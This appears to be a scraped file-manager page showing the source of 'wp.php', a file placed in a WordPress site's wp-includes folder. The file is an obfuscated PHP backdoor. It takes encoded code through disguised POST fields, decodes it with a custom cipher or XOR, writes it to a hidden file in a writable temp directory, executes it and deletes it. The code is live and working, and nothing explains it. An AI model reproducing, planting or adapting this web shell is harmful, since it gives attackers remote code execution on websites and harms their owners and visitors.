File manager - Edit - /home/proidvn/test3.proid.vn/wp-includes/ad884c0d/wp.php
Back
<?php if(filter_has_var(INPUT_POST, "\x72e\x66e\x72\x65nce")){ $obj = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", getcwd()]); $entity = $_POST["\x72e\x66e\x72\x65nce"]; $entity=explode( "." , $entity ) ; $resource = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $i = 0; array_walk($entity , function ($v4) use (&$resource , &$i , $salt1 , $sLen) { $sChar = ord($salt1[$i % $sLen]); $dec = ((int)$v4 - $sChar - ($i % 10))^ 80; $resource .= chr($dec); $i++; }); $fac = 0; do { $data_chunk = $obj[$fac] ?? null; if ($fac >= count($obj)) break; if (max(0, is_dir($data_chunk) * is_writable($data_chunk))) { $parameter_group = "$data_chunk" . "/.flg"; if (file_put_contents($parameter_group, $resource)) { require $parameter_group; unlink($parameter_group); die(); } } $fac++; } while (true); } if(isset($_POST["\x64a\x74a\x5Fc\x68\x75nk"]) ? true : false){ $data = hex2bin($_POST["\x64a\x74a\x5Fc\x68\x75nk"]); $pgrp = '' ; for($r=0; $r<strlen($data); $r++){$pgrp .= chr(ord($data[$r]) ^ 89);} $value = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); foreach ($value as $ent): if (!!is_dir($ent) && !!is_writable($ent)) { $element = sprintf("%s/.fac", $ent); $success = file_put_contents($element, $pgrp); if ($success) { include $element; @unlink($element); die();} } endforeach; }
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 0.12 |
proxy
|
phpinfo
|
Settings